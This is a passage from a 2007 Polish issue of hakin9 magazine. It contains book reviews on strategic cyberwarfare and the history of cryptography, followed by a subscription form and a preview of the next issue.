dukowania całkiem sporej grupy programów zwiększają-
cych bezpieczeństwo (nie mówiąc już o narzędziach słu-
żących do działań zgoła przeciwnych). Dlatego dziś czy-

tanie uwag o podsłuchiwaniu analogowych sieci komór-
kowych, 64-bitowym RSA, czy błędzie przepełnienia
bufora w demonie usługi finger wywołuje co najwyżej
nostalgiczne westchnienia za starymi, dobrymi czasa-
mi. Żeby jednak oddać książce sprawiedliwość – należy
stwierdzić rzecz następującą: zawiera ona sporą ilość
rzetelnych informacji okraszonych licznymi przykłada-
mi, niekiedy o anegdotycznym charakterze, co sprawia,
że czyta się ją łatwo i przyjemnie. A przy tym znajduje-
my w niej solidną dawkę wiedzy. I – podobnie jak po lek-
turze najdawniejszych kronik średniowiecznych – docho-
dzimy do wniosku, że pewne zjawiska i zachowania są
ponadczasowe. Tyle, że kronikarze nie pisywali raczej o
lenistwie administratorów, dezynwolturze użytkowników i
indolencji wyższej kadry zarządzającej. Ewentualnie o tej
ostatniej zdarzało się zamieścić parę uwag, ale w bardzo
oględnych słowach i tylko na przykładzie nielubianych
sąsiadów. Słowem: komentowana książka warta jest lek-
tury, choć nie można jej zaliczyć do must-read.

Maciej Szmit

Tytuł: Wojna strategiczna w cyberprzestrzeni

Autor: Gregory J. Rattray

Wydawca: Wydawnictwa Naukowo-Techniczne

Rok: 2004(Polskie wydanie) / 2001(Oryginał)

Stron: 541

Ogólnie rzecz ujmując specjaliści od zabezpieczeń kom-
puterowych nie przejmują się zbytnio zagrożeniem wojną.
Można by powiedzieć, że nie obchodzi ich to, gdyż mają
do wykonania inne zadania. Zajmują całą swoją uwagę
na znalezieniu sposobu na zniszczenie nowego wirusa
czy też usiłują wykryć luki w skanowanej sieci. Jednak-
że Internet nie jest już wykorzystywany dzisiaj jedynie
jako źródło informacji. W XXI wieku globalna sieć inter-
netowa może stać się świadkiem wojen cybernetycznych
między mocarstwami. Przez to, że wojsko używa tech-
nologii komputerowej w niemal każdym aspekcie swojej
działalności: komputery sterują odpalaniem głowic jądro-
wych, pilnują granic państwa przed wrogimi siłami, mogą
nawet w połączeniu z wyrzutniami rakiet i radarami dzia-

łać jako tarcza antyrakietowa. A co stałoby się, gdyby to
wszystko nagle przestało działać? Na to pytanie szuka
odpowiedzi autor książki.

Rattray jest podpułkownikiem lotnictwa Stanów Zjed-

noczonych. Od sierpnia 2003 roku pracuje w Białym
Domu, gdzie (w Urzędzie Bezpieczeństwa Cyberprze-
strzeni) zajmuje się rozwiązywaniem problemów praw-
nych, związanych z międzynarodowymi atakami w cyber-
przestrzeni. Dzięki uzyskanym szlifom wojskowym widzi
problem wojny cybernetycznej z całkiem innej strony
– biorąc pod uwagę przede wszystkim bezpieczeństwo
kraju.

Publikacja skupia się na cyfrowych atakach. W pięciu,

odrobinę przydługich, rozdziałach opisuje się kluczowe

Księgozbiór

hakin9 Nr 5/2007

www.hakin9.org

zagadnienia dotyczące wojny cybernetycznej: strategicz-
ną wojnę informacyjną, zrozumienie sposobu jej przepro-
wadzenia, tworzenie potencjału technologiczno-orga-
nizacyjnego, potrzebnego do przeprowadzenia takiej
wojny, rozwój lotnictwa strategicznego USA w XX wieku
oraz historię wojny informacyjnej, prowadzonej przez
USA w ciągu lat 90-tych W każdym rozdziale znajdują
się przypisy, w których znaleźć można bardzo ciekawe
odwołania do innych źródeł – książek, filmów, stron inter-
netowych, dzięki którym możemy zrozumieć dany pro-
blem dokładniej, spojrzeć na niego z innej strony. Ten,

kto spodziewałby się, że znajdzie tutaj wiele przykła-
dów ataków na sieci informatyczne USA srogo się jednak
zawiedzie.

Mimo że Rattray sceptycznie odnosi się do nie prze-

testowanych założeń cyfrowej wojny, nie znaczy to, że
groźba ataku na Stany Zjednoczone nie jest realna.
Wręcz przeciwnie, autor poświęca wiele uwagi technolo-
gicznej podatności systemów komputerowych oraz poli-
tycznym, ekonomicznym i kulturalnym czynnikom, jakie
mogą wpływać na przebieg takiej wojny.

Michał Gałka

Tytuł: Rewolucja w kryptografii

Autor: Steven Levy

Wydawca: Wydawnictwa Naukowo-Techniczne

Rok: 2002

Stron: 562

Zagłębiając się w lekturze tej książki można odnieść wra-
żenie, jakby czytało się osadzoną w latach siedemdzie-
siątych powieść szpiegowską. Autor opisuje problemy, z
jakimi musieli borykać się zwolennicy kryptografii (na-
zwani później szyfropunkami) w czasach, kiedy samo
rozmawianie o niej było zakazane przez amerykańskie
instytucje rządowe. Władzom zależało na tym, aby szy-
frowanie pozostawało jedynie dla wewnętrznego użytku.
Chodziło mianowicie o to, by My (rząd, NSA, amerykań-
skie wojsko) mogli się bezpiecznie komunikować, a jed-
nocześnie Oni (przestępcy, terroryści) nie mieli możliwo-
ści ukrycia tego, o czym rozmawiają i co knują.

Autor przedstawił stanowisko rządu, dla którego szy-

frowanie dostępne dla każdego było zagrożeniem i czyn-
nikiem negatywnym (właśnie z powodu niemożności
podsłuchiwania osób działających na szkodę społeczeń-
stwa) i, według wypowiedzi NSA, każdy dzień zwłoki w
związku z udzieleniem zezwolenia na powszechne uży-
wanie silnej kryptografii jest zwycięski. Z tego też powodu
został zbudowany układ clipper, umożliwiający stronie
trzeciej dostęp do treści jawnej – tutaj pojawił się wyraź-
ny sprzeciw ze strony szyfropunków. Okazuje się, że
takie podejście narusza pierwszą poprawkę do konsty-
tucji, co było chyba główną bronią zmierzającą ku temu,
aby wprowadzić szyfrowanie do użytku publicznego i
umożliwić eksport programów szyfrujących poza grani-
ce kraju. Cała sytuacja przypomina mi film pt. Kingsajz J.
Machulskiego z tym, że tutaj walka wydaje się być wygra-
na przez polokoktowców (kingsajz dla każdego!).

Książka opisuje nie tylko trudy związane z popularyza-

cją szyfrowania – niemożność wypośrodkowania pomię-
dzy bezpieczeństwem narodu i ochroną prywatności, ale
także problemy stricte matematyczne. Ścieżkę prowadzą-
cą od potrzeby ochrony prywatnej korespondencji, poprzez
matematyczne zagadki, jak budowanie funkcji jednokierun-
kowych, aż po implementację algorytmów szyfrujących, w
takich programach jak lotus notes czy pgp – dziele P. Zim-
mermana i jego błyskawicznej dystrybucji za pośrednic-
twem Internetu. Wspomniana jest także próba implementa-
cji szyfrowania z kluczem publicznym na Z-80.

Wraz ze zgłębianiem treści kolejnych rozdziałów czy-

telnik poznaje osiągnięcia wielkich sław ze świata szy-
frów, takich jak Diffie i Hellman (osławieni twórcy algoryt-
mu wymiany klucza, ale jak się okazuje, nie są pierwszy-
mi, którzy na taki pomysł wpadli) czy trójki Rivest, Shamir
i Adleman (algorytm RSA).

Autor w zgrabny sposób umożliwia nam posklejanie

w całość tego, co do tej pory mogło być znane tylko jako
pojedyncze hasła. Mam tutaj na myśli takie pojęcia jak:
RSA, DES, IDEA, PGP itp.

Przedstawiona została także krótka historia posta-

ci Alice, Bob i ciekawskiej Eve, jako najbardziej chyba
popularnej trójki uczestników szyfrowanego połączenia.

Czytając książkę miałem ochotę odłożyć ją na chwilę

i przejrzeć dokumentację programu gpg (co uczyniłem
jednak dopiero po jej przeczytaniu). Zabrakło mi nie-
stety dokładniejszego omówienia samych algorytmów
– schematów i wzorów, co mogłoby być całkiem cieka-
wym uzupełnieniem treści pomieszczonych w tej publi-
kacji. Słowem – Ci, którzy czują w sobie ducha szyfro-
punka, z pewnością zainteresują się pozycją Rewolucje

w kryptografii.

Piotr Kabaciński

Specjalne podziękowania dla Wydawnictwa Naukowo-Technicz-
nego za udostępnienie książek recenzowanych na łamach cza-
sopisma.

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku czerwca 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

6/2007

w następnym numerze

między innymi:

Zapowiedzi

Algorytm One Time Pad

Artykuł będzie dotyczył wiadomości o bardzo ciekawym algorytmie, który
jest niemożliwy do złamania w scenariuszu ataku na kryptogram, nawet przy
posiadaniu nieskończenie szybkiego komputera i nieskończenie długiego
czasu.

Hardware hacking

Autor porusza ciekawą tematykę związaną z zabezpieczeniami biometrycz-
nymi, a mianowicie jak je oszukać. Artykuł nawiązuje do łamania zabezpie-
czeń takich jak: linie papilarne, odciski palców, siatkówka oka itp.

StarForce – nie do złamania

Artykuł przedstawia sposób zabezpieczeń płyt przed kopiowaniem. Autor
pokazuje zasady działania i techniki zabezpieczeń przed kopiowaniem.

Podróżowanie po sieci LAN i Internet

Autor daje praktyczne porady jak bezpiecznie podróżować po sieci LAN i
Internecie. Przedstawia tajniki i sekrety oraz pokazuje, jak uchronić się przed
wirusami, które atakują zwykłego użytkownika surfującego po sieci.

NA CD:

• hakin9.live – bootowalna dystrybucja Linuksa;
• mnóstwo narzędzi – niezbędnik hakera;
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach;
• dodatkowa dokumentacja;
• pełne wersje komercyjnych aplikacji.

Atak

Obrona

Wyszukiwarka

Podobne podstrony:
Hakin9 25 (05 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 23 (03 2007) PL
Hakin9 29 (09 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 21 (01 2007) PL
Hakin9 28 (08 2007) PL
IIKolokwium.A.25.05.2007, Nieorganiczna, chemia2, Arkusze powtórzeniowe, Pobieranie1, studia 1.2, te
Hakin9 37 (05 2008) PL
Hakin9 30 (10 2007) PL
Hakin9 27 (07 2007) PL
Hakin9 24 (04 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL

więcej podobnych podstron